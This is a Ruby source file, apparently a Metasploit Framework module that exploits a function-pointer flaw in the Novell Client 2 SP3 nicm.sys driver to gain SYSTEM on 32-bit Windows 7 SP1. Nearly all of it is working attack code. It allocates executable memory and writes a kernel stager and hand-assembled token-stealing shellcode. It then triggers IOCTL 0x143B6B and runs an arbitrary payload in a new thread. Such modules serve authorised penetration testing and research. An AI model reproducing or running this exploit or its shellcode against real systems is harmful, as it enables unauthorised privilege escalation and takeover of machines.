##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/windows/priv'

class Metasploit3 < Msf::Exploit::Local
	Rank = AverageRanking

	include Msf::Post::Common
	include Msf::Post::Windows::Priv

	def initialize(info={})
		super(update_info(info, {
			'Name'           => 'Novell Client 2 SP3 nicm.sys Local Privilege Escalation',
			'Description'    => %q{
				This module exploits a flaw in the nicm.sys driver to execute arbitrary code in
				kernel space. The vulnerability occurs while handling ioctl requests with code
				0x143B6B, where a user provided pointer is used as function pointer. The module
				has been tested successfully on Windows 7 SP1 with Novell Client 2 SP3.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Unknown', # Vulnerability discovery
					'juan vazquez' # MSF module
				],
			'Arch'           => ARCH_X86,
			'Platform'       => 'win',
			'SessionTypes'   => [ 'meterpreter' ],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Targets'        =>
				[
					# Tested with nicm.sys Version v3.1.5 Novell XTier Novell XTCOM Services Driver for Windows
					# as installed with Novell Client 2 SP3 for Windows 7
					[ 'Automatic', { } ],
					[ 'Windows 7 SP1',
						{
							'HaliQuerySystemInfo' => 0x16bba, # Stable over Windows XP SP3 updates
							'_KPROCESS'           => "\x50",  # Offset to _KPROCESS from a _ETHREAD struct
							'_TOKEN'              => "\xf8",  # Offset to TOKEN from the _EPROCESS struct
							'_UPID'               => "\xb4",  # Offset to UniqueProcessId FROM the _EPROCESS struct
							'_APLINKS'            => "\xb8"   # Offset to ActiveProcessLinks _EPROCESS struct
						}
					]
				],
			'Payload'        =>
				{
					'Space'       => 4096,
					'DisableNops' => true
				},
			'References'     =>
				[
					[ 'OSVDB', '93718' ],
					[ 'URL', 'http://www.novell.com/support/kb/doc.php?id=7012497' ],
					[ 'URL', 'http://pastebin.com/GB4iiEwR' ]
				],
			'DisclosureDate' => 'May 22 2013',
			'DefaultTarget'  => 0
		}))

	end

	def add_railgun_functions
		session.railgun.add_function(
			'ntdll',
			'NtAllocateVirtualMemory',
			'DWORD',
			[
				["DWORD", "ProcessHandle", "in"],
				["PBLOB", "BaseAddress", "inout"],
				["PDWORD", "ZeroBits", "in"],
				["PBLOB", "RegionSize", "inout"],
				["DWORD", "AllocationType", "in"],
				["DWORD", "Protect", "in"]
			])

		session.railgun.add_function(
			'ntdll',
			'NtDeviceIoControlFile',
			'DWORD',
			[
				[ "DWORD", "FileHandle", "in" ],
				[ "DWORD", "Event", "in" ],
				[ "DWORD", "ApcRoutine", "in" ],
				[ "DWORD", "ApcContext", "in" ],
				[ "PDWORD", "IoStatusBlock", "out" ],
				[ "DWORD", "IoControlCode", "in" ],
				[ "LPVOID", "InputBuffer", "in" ],
				[ "DWORD", "InputBufferLength", "in" ],
				[ "LPVOID", "OutputBuffer", "in" ],
				[ "DWORD", "OutPutBufferLength", "in" ]
			])

		session.railgun.add_function(
			'ntdll',
			'NtQueryIntervalProfile',
			'DWORD',
			[
				[ "DWORD", "ProfileSource", "in" ],
				[ "PDWORD", "Interval", "out" ]
			])
		session.railgun.add_dll('psapi') if not session.railgun.dlls.keys.include?('psapi')
		session.railgun.add_function(
			'psapi',
			'EnumDeviceDrivers',
			'BOOL',
			[
				["PBLOB", "lpImageBase", "out"],
				["DWORD", "cb", "in"],
				["PDWORD", "lpcbNeeded", "out"]
			])
		session.railgun.add_function(
			'psapi',
			'GetDeviceDriverBaseNameA',
			'DWORD',
			[
				["LPVOID", "ImageBase", "in"],
				["PBLOB", "lpBaseName", "out"],
				["DWORD", "nSize", "in"]
			])
	end

	def open_device(dev)

		invalid_handle_value = 0xFFFFFFFF

		r = session.railgun.kernel32.CreateFileA(dev, "GENERIC_READ", 0x3, nil, "OPEN_EXISTING", "FILE_ATTRIBUTE_READONLY", 0)

		handle = r['return']

		if handle == invalid_handle_value
			return nil
		end

		return handle
	end

	def execute_shellcode(shell_addr)

		vprint_status("Creating the thread to execute the shellcode...")
		ret = session.railgun.kernel32.CreateThread(nil, 0, shell_addr, nil, "CREATE_SUSPENDED", nil)
		if ret['return'] < 1
			vprint_error("Unable to CreateThread")
			return nil
		end
		hthread = ret['return']

		vprint_status("Resuming the Thread...")
		ret = client.railgun.kernel32.ResumeThread(hthread)
		if ret['return'] < 1
			vprint_error("Unable to ResumeThread")
			return nil
		end

		return true
	end

	def ring0_shellcode(t)
		tokenstealing =  "\x52"                                                   # push edx                         # Save edx on the stack
		tokenstealing << "\x53"                                                   # push ebx                         # Save ebx on the stack
		tokenstealing << "\x33\xc0"                                               # xor eax, eax                     # eax = 0
		tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00"                           # mov eax, dword ptr fs:[eax+124h] # Retrieve ETHREAD
		tokenstealing << "\x8b\x40" + t['_KPROCESS']                              # mov eax, dword ptr [eax+50h]     # Retrieve _KPROCESS
		tokenstealing << "\x8b\xc8"                                               # mov ecx, eax
		tokenstealing << "\x8b\x98" + t['_TOKEN'] + "\x00\x00\x00"                # mov ebx, dword ptr [eax+0f8h]    # Retrieves TOKEN
		tokenstealing << "\x8b\x80" + t['_APLINKS'] + "\x00\x00\x00"              # mov eax, dword ptr [eax+b8h]  <====| # Retrieve FLINK from ActiveProcessLinks
		tokenstealing << "\x81\xe8" + t['_APLINKS'] + "\x00\x00\x00"              # sub eax,b8h                        | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks
		tokenstealing << "\x81\xb8" + t['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00" # cmp dword ptr [eax+b4h], 4         | # Compares UniqueProcessId with 4 (The System Process on Windows XP)
		tokenstealing << "\x75\xe8"                                               # jne 0000101e ======================
		tokenstealing << "\x8b\x90" + t['_TOKEN'] + "\x00\x00\x00"                # mov edx,dword ptr [eax+0f8h]     # Retrieves TOKEN and stores on EDX
		tokenstealing << "\x8b\xc1"                                               # mov eax, ecx                     # Retrieves KPROCESS stored on ECX
		tokenstealing << "\x89\x90" + t['_TOKEN'] + "\x00\x00\x00"                # mov dword ptr [eax+0f8h],edx     # Overwrites the TOKEN for the current KPROCESS
		tokenstealing << "\x5b"                                                   # pop ebx                          # Restores ebx
		tokenstealing << "\x5a"                                                   # pop edx                          # Restores edx
		tokenstealing << "\xc2\x08"                                               # ret 08h                          # Away from the kernel!

		return tokenstealing
	end


	def allocate_memory(proc, address, length)

		result = session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack("V"), nil, [ length ].pack("V"), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE")

		if not result["BaseAddress"] or result["BaseAddress"].empty?
			vprint_error("Failed to allocate memory")
			return nil
		end

		my_address = result["BaseAddress"].unpack("V")[0]

		vprint_good("Memory allocated at 0x#{my_address.to_s(16)}")

		if not proc.memory.writable?(my_address)
			vprint_error("Failed to allocate memory")
			return nil
		else
			vprint_good("0x#{my_address.to_s(16)} is now writable")
		end

		return my_address
	end

	def junk(n=4)
		return rand_text_alpha(n).unpack("V").first
	end

	def check
		handle = open_device("\\\\.\\nicm")
		if handle.nil?
			return Exploit::CheckCode::Safe
		end
		session.railgun.kernel32.CloseHandle(handle)
		return Exploit::CheckCode::Detected
	end

	def exploit

		vprint_status("Adding the railgun stuff...")
		add_railgun_functions

		if sysinfo["Architecture"] =~ /wow64/i
			fail_with(Exploit::Failure::NoTarget, "Running against WOW64 is not supported")
		elsif sysinfo["Architecture"] =~ /x64/
			fail_with(Exploit::Failure::NoTarget, "Running against 64-bit systems is not supported")
		end

		my_target = nil
		if target.name =~ /Automatic/
			print_status("Detecting the target system...")
			os = sysinfo["OS"]
			if os =~ /windows 7/i
				my_target = targets[1]
				print_status("Running against #{my_target.name}")
			end
		else
			my_target = target
		end

		if my_target.nil?
			fail_with(Exploit::Failure::NoTarget, "Remote system not detected as target, select the target manually")
		end

		print_status("Checking device...")
		handle = open_device("\\\\.\\nicm")
		if handle.nil?
			fail_with(Exploit::Failure::NoTarget, "\\\\.\\nicm device not found")
		else
			print_good("\\\\.\\nicm found!")
		end

		this_proc = session.sys.process.open

		print_status("Storing the Kernel stager on memory...")
		stager_address = 0x0d0d0000
		stager_address = allocate_memory(this_proc, stager_address, 0x1000)

		if stager_address.nil? or stager_address == 0
			session.railgun.kernel32.CloseHandle(handle)
			fail_with(Exploit::Failure::Unknown, "Failed to allocate memory")
		end

		# eax => &kernel_stager
		# .text:000121A3 mov     ecx, eax
		# .text:000121A5 mov     eax, [ecx]
		# .text:000121A7 mov     edx, [eax]
		# .text:000121A9 push    ecx
		# .text:000121AA push    eax
		# .text:000121AB call    dword ptr [edx+0Ch]
		kernel_stager =  [
			stager_address + 0x14, # stager_address
			junk,
			junk,
			junk,
			junk,
			stager_address + 0x18, # stager_address + 0x14
			junk,
			junk,
			junk,
			stager_address + 0x28  # stager_address + 0x24
		].pack("V*")

		kernel_stager << ring0_shellcode(my_target)

		result = this_proc.memory.write(stager_address, kernel_stager)

		if result.nil?
			session.railgun.kernel32.CloseHandle(handle)
			fail_with(Exploit::Failure::Unknown, "Failed to write contents to memory")
		else
			vprint_good("Contents successfully written to 0x#{stager_address.to_s(16)}")
		end


		print_status("Triggering the vulnerability to execute the Kernel Handler")
		magic_ioctl = 0x143B6B # Vulnerable IOCTL
		ioctl = session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, magic_ioctl, stager_address, 0x14, 0, 0)
		session.railgun.kernel32.CloseHandle(handle)

		if ioctl["GetLastError"] != 0
			print_error("Something wrong while triggering the vulnerability, anyway checking privileges...")
		end

		print_status("Checking privileges after exploitation...")

		if not is_system?
			fail_with(Exploit::Failure::Unknown, "The exploitation wasn't successful")
		else
			print_good("Exploitation successful!")
		end

		print_status("Storing the final payload on memory...")

		shell_address = 0x0c0c0000
		shell_address = allocate_memory(this_proc, shell_address, 0x1000)

		if shell_address.nil?
			fail_with(Exploit::Failure::Unknown, "Failed to allocate memory")
		end

		result = this_proc.memory.write(shell_address, payload.encoded)

		if result.nil?
			fail_with(Exploit::Failure::Unknown, "Failed to write contents to memory")
		else
			print_good("Contents successfully written to 0x#{shell_address.to_s(16)}")
		end

		print_status("Executing the payload...")
		result = execute_shellcode(shell_address)
		if result.nil?
			fail_with(Exploit::Failure::Unknown, "Error while executing the payload")
		else
			print_good("Enjoy!")
		end
	end

end